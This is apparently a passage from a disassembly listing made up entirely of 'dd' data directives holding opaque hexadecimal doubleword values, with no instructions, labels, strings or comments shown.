		dd 0EAAB3B51h, 7949B047h, 65646D71h, 0A66FD042h, 7921F6D4h
		dd 4DAB01AAh, 3278E686h, 0A5ACD09Eh, 2D7B0E00h,	8B0BD89Ch
		dd 4D0C9218h, 238354D4h, 0CEAABD32h, 90102531h,	0EE00323Bh
		dd 0AB1CF9B9h, 15F0902h, 0E354D246h, 0EDF62ECBh, 0F88980E6h
		dd 0C2013B9Dh, 1EDB1353h, 71982167h, 0C47BD5C9h, 0B6004090h
		dd 0F3E080A0h, 58977ED6h, 78423607h, 6F88673Bh,	0F0C47564h
		dd 0AB6DA840h, 0B6002E31h, 5B680278h, 29098281h, 0C09764h
		dd 3E7F239Ch, 0E226938Ah, 215EA4DCh, 0EF80F30Dh, 8138222Ch
		dd 7E8400E1h, 78F04DA4h, 54907B2Eh, 51150930h, 0F598B65h
		dd 2901B813h, 280A2300h, 63409561h, 99AA606Eh, 6165BF1h
		dd 0A77F506h, 901809B2h, 50BA5230h, 652A9A01h, 0C556E91h
		dd 2B21C07Ah, 91F92AC2h, 382C8713h, 30B8F062h, 73582A6Ch
		dd 24542B39h, 2AD4D580h, 318ACB1h, 8AF71536h, 889C64D8h
		dd 1A8CD718h, 46B232CCh, 103C18B1h, 73224ABh, 0A29F4B49h
		dd 1D1F262h, 0C8FDB460h, 24C18CF8h, 727FE6ADh, 0A69F848h
		dd 0F42B171Fh, 2E465C38h, 50CC0919h, 0D1FE10EDh, 31E1C110h
		dd 41698094h, 0D9066790h, 765430ADh, 0C7C81954h, 2ED5ED00h
		dd 0BA9C0E4Eh, 14C403BFh, 57631E31h, 0F40A6929h, 9CF90F00h
		dd 2E9A54BBh, 3CB67179h, 0A8F729h, 0F6905DD2h, 4D3A6457h
		dd 0BA2600E3h, 4C471C8Ch, 8AC8121Ah, 0E4C003Ch,	0F2B50BB7h
		dd 0C3F87964h, 0B6322060h, 0B4A726EAh, 32389F00h, 4C0AC23h
		dd 34065CD8h, 97930109h, 8253E68h, 0FBE77941h, 126E80F0h
		dd 4438E183h, 8803EA4Ch, 82246094h, 243F687Ah, 198348CAh
		dd 1F3F0CF4h, 42D36848h, 3ADDFEF3h, 0B6465846h,	712A6E02h
		dd 61314E91h, 2AD6D710h, 0ED11771Eh, 6100EF92h,	0B59CF76Fh
		dd 4B1A0409h, 907B65C4h, 0C26E8814h, 211D88ACh,	3E51B732h
		dd 92802688h, 0AF083239h, 33C01EBCh, 0C2688A60h, 0F99E09B5h
		dd 55840C23h, 62C63116h, 40B36E01h, 41E44483h, 0DE670527h
		dd 44FBE57Ch, 33A10A4h,	3F694587h, 3780E838h, 0B1142FA4h
		dd 80A4D6FEh, 22307F0Eh, 0E78A86E2h, 20489271h,	1498E9F2h
		dd 0AB3E720Dh, 0B28021FCh, 48AFD8C9h, 553CC0F5h, 0A701FC69h
		dd 1BC9E9Ch, 9EC938Bh, 5CEA07E1h, 0E16A8881h, 61338E78h
		dd 0A699F0A8h, 0F470B901h, 7E1E8B38h, 0F9CCC4CEh, 0B784C0CEh
		dd 83C90278h, 795DAE64h, 38608042h, 6043BDF3h, 0C630FDB2h
		dd 48FB00B6h, 0BBCEB13Ah, 884A319Dh, 3B23842Eh,	0D13A0A02h
		dd 41D490ABh, 0A570001Dh, 8B848CFDh, 0F4EC5F40h, 3D4D2109h
		dd 2D6980F5h, 33E6D78h,	17699BCFh, 81F41C14h, 2E9676Ch
		dd 0F68498AAh, 8120492h, 911F71DAh, 0E0AA427Ch,	5F1D361Bh
		dd 2243A2EFh, 14AF7h, 0AF54E920h, 6975E38Dh, 16E9938h
		dd 0F16F5F6Bh, 0EBF4D7EEh, 14200D4Dh, 336904AAh, 30FAA264h
		dd 87184879h, 0C1990271h, 5CD1005Eh, 0B6CD2395h, 0B80FE0DEh
		dd 20279DEDh, 0D42EE76Ah, 4FA109D0h, 0F897F0AAh, 9F826491h
		dd 5040B68Bh, 0F92644AFh, 6B4098DFh, 802770F6h,	9525980Fh
		dd 5340E1Ch, 0DC54776Eh, 6840004Ch, 741E2299h, 3A19D273h
		dd 3923E0h, 0DEDFFC2Fh,	7700D250h, 3D5C5B10h, 0A445173h
		dd 5464867Fh, 632444B0h, 6490B874h, 7D3643CDh, 907AF38Bh
		dd 3D9CF382h, 414A1E3Dh, 37ADE8B4h, 27E041E1h, 0B3D760D6h
		dd 79DD9D3Eh, 241EF1D3h, 0F27408h, 0A1B85993h, 9807E2CEh
		dd 0B49252D5h, 236516D3h, 78303E98h, 0AC9D649Ah, 0A9F344FCh
		dd 48ABA01Fh, 771EEFC0h, 3421D2Fh, 0E53FBD89h, 9804E26Bh
		dd 66C2787Ch, 9550CCC1h, 3C1D99A5h, 1181AE11h, 319239CFh
		dd 13CEF48Dh, 8CC030FDh, 0A87D0D01h, 3DF5883Eh,	62BC3838h
		dd 300F343h, 243E59B3h,	1C24E6F4h, 0A06FB497h, 0B92F051Dh
		dd 0FD680984h, 648E907Ch, 895E6604h, 7443C828h,	0F936C09h
		dd 0B88441E3h, 74079E71h, 0B832B2B5h, 0DC753127h, 0C5246491h
		dd 0A658B436h, 18AB3D7Bh, 9F93AA02h, 90C53C54h,	30BCF832h
		dd 67092A98h, 0C555DE91h, 0C02900B4h, 11D1A22Ah, 0D79D2Ch
		dd 32D5270Fh, 19C804CBh, 0FC995EC0h, 0C070F95Dh, 0F01E4CABh
		dd 876790Ch, 4E028029h,	5AB05F05h, 0D3948283h, 57B60030h
		dd 742401A3h, 467EC466h, 0B5820038h, 29C37B08h,	0E0985CD4h
		dd 0FD27516h, 0EF2D7118h, 38404788h, 0CC1FB0C0h, 3D0D2188h
		dd 0C602DA91h, 0BF4B1FB8h, 4A98D663h, 1831066Dh, 41935875h
		dd 6255D6E0h, 0CD541067h, 88AF0840h, 1778AB25h,	8066918Ch
		dd 0D1645A23h, 2F9109EEh, 28216197h, 238BBCD7h,	0F17AE174h
		dd 0CA05D00Ch, 0E9FD888h, 0F072D000h, 2E06E2D1h, 1C0167Ch
		dd 0A3D23BFEh, 0A0B9E4A9h, 26CE8101h, 796E3018h, 27BC1468h
		dd 2111248Ch, 6DEB0FB2h, 51819D61h, 58A43DE4h, 90362208h
		dd 3E8B780Dh, 53F860A6h, 63A1A079h, 0B1F40DF3h,	15BB00AEh
		dd 4A5CB6A6h, 0F64C5BFDh, 5DB44C4Ch, 0FBD08220h, 0F02A237Bh
		dd 941B4805h, 0BC002D08h, 7F818B78h, 98A10253h,	7D0A79AAh
		dd 16600227h, 0B55D1F5h, 1C9EF428h, 0F054AC81h,	4458CED8h
		dd 5C483898h, 0E51410D8h, 0F3430DF8h, 81B40300h, 0ACC5831Eh
		dd 0DA4AB91Fh, 742C6F40h, 0A82084D9h, 0C79EBCh,	0FD883DD2h
		dd 0FFEA719Ch, 0E0B05E00h, 102B915Bh, 95F0961Ch, 917B8427h
		dd 0E9AD78FCh, 758F0086h, 654D714Eh, 8AE2DB6Bh,	7850D074h
		dd 0E0A772A8h, 18F16442h
		dd 0A748CBBAh, 66F910E0h, 0EB86570Bh, 0F4EFF8A4h, 0A5240EDCh
		dd 710C5C03h, 5B9B924h,	33AD300Ch, 72F80158h, 3769262Bh
		dd 5D19B02Ch, 0B6B500D0h, 0B88B19Dh, 0D100A007h, 0F170DED7h
		dd 95E0AECh, 0F351EEF5h, 6491CC17h, 6F324080h, 4430065Ch
		dd 56F6F0CDh, 3D7C0020h, 0CE70BFC3h, 9AECD190h,	72025802h
		dd 7284627Fh, 86360724h, 0D0E3E6E0h, 1EE5EDCh, 634C520Eh
		dd 0A00D80F9h, 0FA6A9AEh, 0A5702666h, 0BBCAA7A0h, 0B447195h
		dd 0A3A60297h, 8839B9B5h, 18600849h, 221F3FB2h,	1618BD23h
		dd 0BAC421h, 0BD7021Fh,	0EEFEC614h, 787F1B24h, 62DC456Bh
		dd 0BA18F160h, 0C22701FFh, 0FEC55008h, 258822DFh, 69382076h
		dd 3A3A349Eh, 878F84EBh, 0CD808C22h, 0D503BB37h, 0D65CA005h
		dd 0AC006041h, 8E78CE21h, 2534B669h, 2711D417h,	592FEA80h
		dd 1203983Ah, 67D06BBDh, 0E8500B11h, 74990895h,	40E187Ch
		dd 1D88CE10h, 15333Dh, 1FB6C821h, 74D4DD41h, 5AE1C10Bh
		dd 0EC1880EAh, 0DD6BFDD6h, 0FB8709C0h, 0D0F98422h, 0A8987C52h
		dd 3049F720h, 0EFB15687h, 3F72F938h, 0ED4EDB07h, 2D83CADCh
		dd 0B9BE2EE2h, 61150h, 0A6FC2927h, 49AE6282h, 5862BC95h
		dd 0ECF24D47h, 80E8BB54h, 8AD09900h, 21D11ED6h,	84C218F9h
		dd 0AC397962h, 0B70D0B07h, 0B270512Ch, 2C0B301h, 0FAD87AEBh
		dd 944DDCE1h, 0F734E7C1h, 4E35FC20h, 38044B75h,	0D20A24A0h
		dd 0A7126D57h, 0A0C8AAD7h, 0DF8E0442h, 0C0FB1237h, 0ADD009C4h
		dd 10986777h, 6A18F101h, 356F0FEBh, 0CDE8488Eh,	2BAC184h
		dd 55E383Ah, 0E98F0660h, 551578F8h, 881C78BDh, 0B9180A79h
		dd 2FFD82ACh, 0FBE0CCD1h, 2325EDE9h, 91B8179Bh,	497582FBh
		dd 3C08F20Bh, 533EEA67h, 4E68784h, 79CC5F7h, 2033EC6Dh
		dd 0D52DF04Eh, 597BFD18h, 4C299CE8h, 3ABC8088h,	5C71128Ch
		dd 0DC3900BBh, 41449F91h, 76B0F0C5h, 4B3A286Ah,	8BC56480h
		dd 22307E23h, 9FAD5F0Ch, 0F33A85Eh, 5CE951E0h, 0AE6947C0h
		dd 92121162h, 30A0509Fh, 1A559066h, 96CCB387h, 0AC19C0C0h
		dd 30F79180h, 672857E0h, 19C515DEh, 5C907E71h, 9962382Dh
		dd 2B983424h, 34848504h, 1D0B4A0h, 0A72EAE07h, 0E0CB04D1h
		dd 0D400D819h, 0C60BD2B9h, 0EDDA01EAh, 0C8B7D0h, 6DED7396h
		dd 0B2F59EE0h, 0C07A9901h, 0F7ACE89Bh, 5118F0h,	3C243D94h
		dd 601ED3Fh, 0BF13DD16h, 0BA31BE01h, 0ACF849DCh, 2D400077h
		dd 2A7AB324h, 3D00A654h, 96EFD008h, 1516F42h, 668243C9h
		dd 0F4982458h, 0E13F9A11h, 0F88405D3h, 82FEC872h, 0D740E2EDh
		dd 38E0A49Ch, 0A2250800h, 0A1CC033Ah, 5DD8000Eh, 0C8F55BE8h
		dd 0BE00F851h, 3559F0CAh, 22DA2Fh, 64D584DDh, 97EF9354h
		dd 90007FECh, 0F7A66173h, 1FE44A42h, 0F80C5F4h,	79C0630Eh
		dd 16446C31h, 2F3EA000h, 0D0C88EC7h, 11FC62h, 799B35CFh
		dd 9D38922h, 0E06EE0CEh, 25AA58D1h, 0F82600C4h,	2145FA10h
		dd 991C6780h, 3E00CE19h, 3933A331h, 0BFAC0074h,	8B8F171Bh
		dd 0F8025096h, 0D3A65F43h, 0BDE4A188h, 6FDC3EADh, 25E7300Eh
		dd 0FF2BDA68h, 8D014CF0h, 0D6F03DEFh, 29C482A3h, 0E152E4C7h
		dd 234100CBh, 108F3FACh, 83070F74h, 0C5DD638Bh,	0AE827D13h
		dd 529B0050h, 0D20304C2h, 4F00A9E2h, 317B3F43h,	37F19BEh
		dd 8D3D6E6Ah, 0F580CD3Ch, 2B26CAE7h, 9E0009B3h,	917F6F44h
		dd 0AF6D005Ch, 0D102287Dh, 68E88C7Ch, 0C4156703h, 0B082B84Fh
		dd 131EC46h, 0AC33180Ch, 0CC27BF7Ch, 0F9A03230h, 5E00BAFAh
		dd 0AB908342h, 6136946h, 4501EC72h, 0BC0F5050h,	402F9F99h
		dd 1D5E5991h, 39EF0124h, 0E0E8B3FDh, 0C28BFCC6h, 0B5531E00h
		dd 0A56170FBh, 8E9100EEh, 0ABF8BC85h, 0CB2ACE57h, 7290908Ch
		dd 802A80Eh, 21A4608Dh,	2FDE16h, 878C38F2h, 9E9F7F74h
		dd 0CAF4E8E9h, 7E2C3B00h, 5299BA42h, 0D7103E59h, 5BACA380h
		dd 5ED6ED6Eh, 738C4301h, 0E0142B47h, 5E8BEE8h, 0FC595AEAh
		dd 34D00409h, 0ADA7406Fh, 27B9422h, 0F80611D9h,	18402547h
		dd 0CA00A5C5h, 0E49B0162h, 61BD2Bh, 0EFDD7DABh,	99876C42h
		dd 0D490A9F6h, 0F618E37Dh, 0F3B82E5Dh, 1121075Ch, 0F1E76447h
		dd 0C4156057h, 0E12C426h, 34002F86h, 9CE8698Ah,	0CAB20B70h
		dd 749012B4h, 0EA0027ADh, 2B799A81h, 12893DACh,	0F83EE4h
		dd 0BCFA38ECh, 0B83FA2EBh, 0FFB000Ch, 0CDD1E33Ch, 3A6B3ABBh
		dd 351AC080h, 8450F976h, 7781170Fh, 38D9414Bh, 79FC57F6h
		dd 3B1BE026h, 1500377Bh, 0CBA860E4h, 64009BBCh,	9EB3E547h
		dd 0C845B4h, 0D62BE78Ah, 2856B24Ch, 6B6FA218h, 13B9419h
		dd 0FA1AEDF9h, 0DF05E075h, 708D80A7h, 810021E9h, 99495F64h
		dd 7AE4B0h, 52BFCD08h, 0CA3E7135h, 770089B8h, 4F536336h
		dd 6F911FEh, 0E95B3FA3h, 0BB002108h, 7BE2B7C2h,	709B587h
		dd 63FA7662h, 36D1B2FFh, 0A500D058h, 722AD3E5h,	0FE15564Fh
		dd 0A3380018h, 1E66EF42h, 0E7E64474h, 9BC99303h, 98F0177Ch
		dd 2A3E59h, 3DDECE3Ch, 0CC25DB31h, 9D27AE00h, 785C8C6Ch
		dd 4F9600C9h, 0E9F91A69h, 9C80F3D7h, 2CDD00E5h,	95963170h
		dd 0F51D3EC8h, 0DAD49BDFh, 0AE4A7E97h, 0F3518D00h, 0E782E70h
		dd 5E91F0CCh, 0E40C1119h, 8C0002CDh, 0D9817BA1h, 2057343h
		dd 38FDBCD2h, 4C008A5h,	660020CEh, 0BEF4C662h, 0E2398245h
		dd 34B2CAh, 4AA8BD3Dh, 53FFD88Dh, 0C63B6200h, 366BB414h
		dd 0BB1E8F4h, 324E1CFCh, 83CCE080h, 7E004512h, 62FE7D94h
		dd 2C47887h, 9C896FDFh,	2FC0AFE7h, 7700DC3Eh, 264DF3EBh
		dd 8FF7EAh, 0CEACFCE5h,	754284BFh, 15A9C000h, 437E86EEh
		dd 80460F4Fh, 96E05759h, 539ABF5Fh, 0C3790800h,	0C70A481Dh
		dd 33BFE03h, 0CD8E3C77h, 69A87516h, 4700BA20h, 6EEC1036h
		dd 7DBFFh, 1A421DA0h, 2E9E5260h, 0DF962303h, 2FF2D5F1h
		dd 0B7700320h, 10DD3B00h, 0D21772F6h, 9CFE7Dh, 0DA71EBB1h
		dd 5BAA0525h, 0A330A500h, 1F1CEA78h, 415400CCh,	629EDC81h
		dd 2500570Ch, 8B997F63h, 0F52030h, 0E8EAE2ECh, 0BBA59A60h
		dd 44D39B00h, 0C2F12AB4h, 656916BFh, 0AE8F0093h, 0EFEBF5CDh
		dd 0B08EBA00h, 349CF8EAh, 26F20156h, 7C7D0795h,	0C470CC48h
		dd 98927F71h, 0D9B54400h, 89AA0927h, 0B7A11C29h, 31754157h
		dd 0F52A12D7h, 95206051h, 0DC4F1E03h, 0D9B941ECh, 9B40DAB0h
		dd 0F05A36h, 0A0197B6Bh, 9C97A68Ah, 19F492Ch, 0FE186E03h
		dd 0E500A7F1h, 1219D5DAh, 0A211DFE6h, 43137CBCh, 9101F99Fh
		dd 1E0E34A1h, 0FD7312FCh, 980D7ED4h, 86BD00CCh,	0CFD06A98h
		dd 1F26D175h, 970084F4h, 19D74B8Bh, 12C400F1h, 74686089h
		dd 0FB071FFEh, 0E416945h, 0E1B84302h, 120DCD7h,	8A4E0014h
		dd 51E83482h, 553AAE91h, 6CA8097Ch, 284C5A2Bh, 1EC3A0EBh
		dd 47BD6706h, 0D1BB6566h, 6D2B7270h, 58D217B4h,	888070C7h
		dd 0E8224CA5h, 244D005Dh, 7182C62Bh, 5B00B216h,	958B73A7h
		dd 0ED5FC5h, 0DF8650D2h, 64D44220h, 0EC904001h,	8A3A72B2h
		dd 46E94084h, 0BCB090F4h, 99C01119h, 6264FA69h,	541E0A93h
		dd 104056D3h, 72CF00F0h, 16935E35h, 917D0554h, 1C2C6CA9h
		dd 2C49946Ch, 0A85660Bh, 56EAB580h, 0BA00EEC9h,	98ACE6C5h
		dd 786CBD4Eh, 0A23B006Dh, 0F5076714h, 120F6E1Eh, 0AEC85C4Ah
		dd 1FD4274Eh, 0B1F15770h, 357600E9h, 9F7C03DDh,	0DF00A993h
		dd 8261B290h, 0BB75E8h
		dd 2CF001EBh, 86046E18h, 7789C00h, 0CAAB19F9h, 4302009Bh
		dd 0D60E1D2h, 600808Fh,	0CE7B20BAh, 0C3B7DAAh, 32D7EF64h
		dd 0B3EE1902h, 8708C506h, 3E06ADBh, 319FF471h, 748116CAh
		dd 13E06D8Eh, 30E2F069h, 7595D603h, 0C3BF3B1Dh,	17C1D739h
		dd 74C2C40h, 195E1F93h,	509940Ah, 0EE40E048h, 1CF6177Ch
		dd 0E0B012E8h, 204365Ch, 0F3040AEAh, 8C865400h,	70B7B2Fh
		dd 804F88BAh, 0F76FB78Ah, 4F344E84h, 7CB01B5Ch,	1267423Ch
		dd 0ECE0151Dh, 37903087h, 0E76B828h, 8CEB3D3Bh,	5940976Fh
		dd 0A810190Fh, 100D7812h, 0E59681BFh, 0AAA8142Dh, 7B1078D8h
		dd 0E17C00A9h, 0F9649967h, 1200937Fh, 65986DFFh, 0C0AB7AF6h
		dd 210F1020h, 7600A01Fh, 0D4B7FBD6h, 0A6F020h, 0BDA3298Bh
		dd 9D3DC5D2h, 0F7D9B103h, 0B91989FBh, 91209AC0h, 673C0024h
		dd 86CF0DA7h, 210E5B18h, 0A17304EAh, 2978D35Ch,	440E6ECh
		dd 79ACDD06h, 0E9F4801Dh, 0A000BE72h, 0B5A44E0Eh, 0F23F70Fh
		dd 0A78C8A36h, 0CC080A03h, 0D4016790h, 0D2B0BE03h, 80AF06CEh
		dd 2E4C9F9h, 0FBF6FA4Ch, 0D0608F8Dh, 7F05371Bh,	0A4B19AF0h
		dd 7CDD6D80h, 0A0E8ADh,	3BCE288Bh, 15E5278Eh, 9E839C00h
		dd 56B59B5Fh, 8CA00F3h,	1D9AC2EDh, 0F600FD6Ah, 76246170h
		dd 0E6BF94C0h, 7AB300D8h, 0D43C548Bh, 0BEF02507h, 0C3AC4800h
		dd 3ADCD250h, 8761025Ah, 1B9E8B9Fh, 13DFCCA2h, 3037A858h
		dd 4710598Ah, 0F0BD668Fh, 0C61D00ACh, 7FE3F851h, 905CD9E9h
		dd 2BB41C74h, 91A45980h, 0C0EC718Bh, 74108A51h,	0E4CFA3Dh
		dd 148900A8h, 57F6707h,	0F4EB039Ch, 7C650A8Eh, 23B009E3h
		dd 2F00856Eh, 0BD4626F8h, 1E86F31Ch, 4971819h, 0C064B594h
		dd 98DD0C0h, 0E4EE800Ch, 3D5A966h, 0A5936E49h, 0BC89C6Fh
		dd 4D30BC87h, 0CE13B0CAh, 7C902B1h, 48686436h, 29078050h
		dd 0BA3E2549h, 6ECE8FD0h, 4FF600E4h, 3D340D36h,	673D9A74h
		dd 0DAB1805Eh, 0C6DEF11Ch, 715ECEAh, 0E058AD1Bh, 922AB08Ch
		dd 3F037B0Ch, 7423CCE4h, 2FAFC86Eh, 72380E87h, 3AE0EE61h
		dd 0CC51182Eh, 8CA6B300h, 7CBDA52Ch, 0C5BF13ACh, 4AA8400Eh
		dd 0BA3FF22Eh, 9D7B0A01h, 55CCB078h, 0D634C8h, 0D8B77A52h
		dd 9AF6E571h, 60082600h, 783B7C91h, 0EC7512h, 0C13A4F3h
		dd 72B9D138h, 0BCE871F4h, 0E0DB0700h, 7718C602h, 4BFE04F9h
		dd 800DEE65h, 1FE7DC7Bh, 0FA79B3F6h, 0C5B0F800h, 33CEAA9Eh
		dd 68FE46h, 5F8EC1ECh, 69A925ACh, 90617300h, 0F096061Dh
		dd 4CCE01FAh, 0EC05028Ch, 0EDFDFCB8h, 0CF626501h, 6B9C808h
		dd 2BA720h, 40C94EAEh, 0E2814AD8h, 3FBB4Ch, 8B9272ABh
		dd 42EC69Dh, 1095641Ah,	404880DBh, 0AC2423B6h, 281E2C50h
		dd 26A7D980h, 92D8C50Ah, 0D5F478h, 0A8878245h, 44F5BE3Bh
		dd 0C5E10700h, 0F788DE8h, 0E006186Ch, 218B10CBh, 52F5360Eh
		dd 0A0D22F5Fh, 0AD496FD3h, 0A28F003Fh, 969DDEDBh, 84092E6Dh
		dd 7F4260Dh, 2DF0BD34h,	0A0BCBAB2h, 41F0C2DCh, 754C40E9h
		dd 0AD07834Fh, 22053A59h, 0A0AE5077h, 0B70BE856h, 922B026Bh
		dd 2AD6944Ah, 0F80547Bh, 0C3A1E8EFh, 87140021h,	18F8C276h
		dd 9E3E5EA0h, 9F8F0012h, 0E247E79Ch, 370200CCh,	26AD3FD3h
		dd 6700E0AEh, 0DC069157h, 3081C43h, 4832E980h, 86E862C8h
		dd 68006DA5h, 47BC96C7h, 0E2729F58h, 0C14D196Eh, 0C30A58B6h
		dd 0D51B0480h, 1324AC01h, 0F08181Ah, 607CC4h, 0FBBAFCC1h
		dd 0B9BBFD23h, 753B5107h, 0CDC0354Ah, 2270B03h,	6E6AB679h
		dd 0DC409483h, 7A071BD1h, 0B5C4D4DCh, 0BDE2E6B0h, 0F7CD0E14h
		dd 21002006h, 0C0EC2961h, 86717813h, 0CADE2040h, 1F396B13h
		dd 0DC5BAE90h, 11650F3Ah, 18FFAA60h, 0CB0042FAh, 2BA0DF15h
		dd 0B7F685h, 9CBA9B45h,	2DD32125h, 67503B00h, 7D720E92h
		dd 0AA970E31h, 0AD6906ACh, 1696E880h, 0E0003EB5h, 0B91BE6DDh
		dd 28BC9F8h, 8CEB6AA2h,	0D8C06ED6h, 2309D0FEh, 48611E0Eh
		dd 366864h, 16A1C10Fh, 7B597018h, 605BEA00h, 95256BBDh
		dd 94A0F5Ah, 1F80D878h,	1C93AE7Fh, 2087B600h, 8C0772BAh
		dd 0BB82302Ah, 9CE2D118h, 0DFB7A501h, 0C35BD632h, 1FBE29C0h
		dd 2441CCC4h, 0B0658080h, 0C73B0AAEh, 9F7C989Ah, 0E2C9FF0Eh
		dd 601803DAh, 7EC40008h, 86ED80DFh, 9490D752h, 5A88FA00h
		dd 0DA09D63Ah, 66FE00FCh, 0FF239B79h, 0CF00C620h, 88DC2561h
		dd 76391082h, 1EEEAAh, 0C7A33099h, 962CD1F6h, 151F9802h
		dd 61063304h, 0AC69942Bh, 0E8E7D60Fh, 88C81F85h, 4C00102Ch
		dd 1B11CC95h, 32C034h, 38D75E7Ah, 0E4631373h, 75486001h
		dd 4BF66142h, 3BCDD3D8h, 0AA925B30h, 88F70026h,	0DCE206E6h
		dd 8E002098h, 2F72A901h, 4AD72Eh, 7D94140Ah, 0B0E79DFDh
		dd 4D8E6500h, 0AEA2E637h, 91B900BEh, 0C464C06Dh, 2D001652h
		dd 0BF750BC8h, 77F65h, 9BFDBA0Dh, 71D2FC8Ah, 0E7000575h
		dd 4ED0F49h, 0B81CD643h, 0EFA100BEh, 935C9475h,	0DD00B0AEh
		dd 7ADA34E5h, 823508h, 99F63BA6h, 1349EAB4h, 7EEC3Ah, 50400363h
		dd 11CC181h, 0ADFA91C2h, 0D841570Fh, 23006156h,	1832D9C8h
		dd 1138FD2h, 9D6D952Fh,	0E0D50D64h, 7B00E314h, 9B4A15Ch
		dd 2773CF03h, 0AC87E2E0h, 7F6D9067h, 28507E9Eh,	5D0060C0h
		dd 0B9A258A7h, 24EFD15h, 55FE06CFh, 9040BFA4h, 1C00DEF4h
		dd 0F11F0299h, 0BD3AF9h, 0A634DB8Ah, 847AA488h,	0A90ACA00h
		dd 0B17EA5B8h, 5D91000Fh, 1C746990h, 0CB0128F7h, 37B74F8Ah
		dd 0B1DC479Fh, 641400C2h, 661B6D75h, 39E48450h,	1F2A43Ch
		dd 45B4F01Eh, 0EED41494h, 55640063h, 0D2115F6Bh, 469EDA2Fh
		dd 4D019400h, 1B0E9D9h,	214F74EFh, 206F5D58h, 0D7000534h
		dd 86685A5h, 13ABC1EEh,	16C02AC4h, 0EF4080DFh, 0E3B741Fh
		dd 6339170Ch, 2F855C04h, 42F4FC43h, 0D3110F8h, 0B4B0F000h
		dd 7807B652h, 9A6A2516h, 4749F897h, 1A8080F0h, 0A9D5C67h
		dd 0E000624Bh, 0E90B64D9h, 8B949648h, 0F872036Ch, 55769700h
		dd 541E9166h, 0C0A2378Ah, 0C08E8718h, 67015ED1h, 0D0A2D07h
		dd 4EE079DDh, 1E83176Ch, 166EE7Dh, 0FCD18C5Ch, 374FF09Bh
		dd 0C5874500h, 88B64391h, 0D40FB7E0h, 0D3556600h, 0F5606516h
		dd 806F0E89h, 1250BA0Ah, 36D97F2h, 23276705h, 0FC8562B1h
		dd 86B064C2h, 10604554h, 0AE201542h, 7BC86F64h,	840034E3h
		dd 0EECEADDEh, 8B0F4E94h, 0E0152C93h, 80ACE63Ah, 31740E48h
		dd 0ABE0D03Bh, 5550EA18h, 9C89F000h, 0B70E28B6h, 0F97A99h
		dd 53E99EADh, 597A6D60h, 6AD93003h, 0A8E079F0h,	9A0201h
		dd 138BAFB9h, 424E04DAh, 6525700h, 341EDD4h, 565800A8h
		dd 0A4DE932Ah, 9A1D61F5h, 0E8C7D5E2h, 11A0E3AAh, 981FC9A7h
		dd 0EE900CEh, 0B2DA17B1h, 411CA2A8h, 0B5C0D105h, 0F7AC4B9Ah
		dd 0F8B0BE01h, 76000735h, 0CD08C6F5h, 7C032826h, 387C7Eh
		dd 423CDD83h, 0E83FF28Dh, 0C73AA300h, 0DF6EA4ADh, 0DEE865h
		dd 0F66D0224h, 0CA720B35h, 0E809F30Eh, 214E84E5h, 0D88878A8h
		dd 932CFC0h, 9F0E90EAh,	0AC1CE814h, 8B023227h, 20EDAA43h
		dd 9D4E3AD0h, 0F0B00200h, 2FEABACFh, 66A17F3h, 6EC4A034h
		dd 0D0E73604h, 0ACFC73ADh, 3A00584Ch, 1162C23Eh, 0FCA83B81h
		dd 0C65E688Ah, 8DD67480h, 0C44E4Fh, 26653A8Ch, 0DF4ED072h
		dd 0DA51A0C0h, 6FB81416h, 3EE02086h, 5E862ECAh,	0C04CDA3Dh
		dd 3A093034h
		dd 38F71091h, 0BB7D5062h, 2A299D3Dh, 0D600DC78h, 91AAB780h
		dd 10E7DAFh, 76819BEEh,	0FC628915h, 0FA27AE25h,	76CC316Bh
		dd 23102E6Eh, 5CEA0038h, 267845C2h, 0ECCB0D03h,	0D029A6h
		dd 937F660h, 0B3D5F45Eh, 0DCD148h, 788B7A33h, 95395107h
		dd 0DE7BB099h, 0F18F8957h, 0A1AC6068h, 4974DDABh, 8C5D6B0Eh
		dd 1A9243E5h, 0FA7BA942h, 0F7D8F000h, 54C7084Eh, 0F6788AD0h
		dd 703DF109h, 0BF247280h, 0B709F75Ah, 0F93CB953h, 18DB7178h
		dd 0E860EB0Dh, 63230347h, 5CBBADEAh, 3485885Bh,	25236C2Fh
		dd 9B224800h, 7E3CD07Fh, 647913D5h, 1CD0E4FDh, 1873D318h
		dd 0A87C0AD0h, 6634F8h,	776444A2h, 0D327CBB2h, 0CF012898h
		dd 6D1A19Dh, 90D49C67h,	0F88EFACAh, 8A4B02ECh, 1FBB4663h
		dd 404E3074h, 0C74E2B7Dh, 0E9730053h, 2235406h,	68A55DFDh
		dd 8D6339C4h, 7C7F22C0h, 0E47090B7h, 0D1C912B2h, 4E841C05h
		dd 208BBFADh, 378D3C48h, 0A441EF41h, 0AC31AAA9h, 0D4FAFDC5h
		dd 919C015Ch, 6407526Bh, 0AD1E870Ch, 7506672Ch,	44386111h
		dd 0AE1280A1h, 50808C3Bh, 9DDCC89Ah, 6508EC97h,	0DA7862F1h
		dd 7ECA2841h, 0E1132000h, 9D5E9D73h, 65919C17h,	9D81B080h
		dd 9DFE60h, 13942B4Ch, 0C4E0CFFFh, 1CD1DE69h, 3C4C9F04h
		dd 425E8004h, 8426F373h, 1F4078ACh, 8808A2C2h, 380725B8h
		dd 8CA91D1Bh, 0D7B9B2E0h, 649D49BFh, 3AB7D81Eh,	6E00913Eh
		dd 61238AF4h, 0B201D519h, 6D292666h, 413EC85Ah,	8BFC12Ch
		dd 0CA698079h, 318B47Fh, 0C00C0187h, 0FB35AFA9h, 72A3202Ah
		dd 0FFA80712h, 9EE2DC40h, 0E22EED5h, 0BCD6BDFBh, 0A7AE160h
		dd 0F6006C5Dh, 1ECC7576h, 0C038A15Fh, 627E5878h, 201379BCh
		dd 2D09B79Bh, 7074D93Dh, 5086E9DBh, 12438342h, 41EEF24h
		dd 0CA4607D0h, 0A26C5314h, 3811302Eh, 20BBAF00h, 689C3FEAh
		dd 19C23B80h, 8030DBDEh, 70F434CBh, 0B87D3E2Bh,	5045392Fh
		dd 0C46025E4h, 6D00F410h, 8B311DFh, 2595D7DEh, 28514D6Fh
		dd 8A18ACD9h, 290012E0h, 25849B9Eh, 3F60D198h, 0C527C1DEh
		dd 644294E7h, 0D7C01AF1h, 0E136740h, 0CA0AF8Dh,	699C2087h
		dd 82160390h, 912439Bh,	78628020h, 9822F3B6h, 0DC71D48Bh
		dd 7318F779h, 64542601h, 457110C9h, 13C2E16Eh, 83A8D1A8h
		dd 0B499090Ch, 0EE80C01Dh, 5822B399h, 337ACDh, 7B507FD7h
		dd 9E137A5Fh, 0C03B7837h, 612D9600h, 4493E433h,	6D3B2705h
		dd 5AC4C17h, 0F38413E9h, 3ABC98FCh, 0A27D038Ch,	5371CA68h
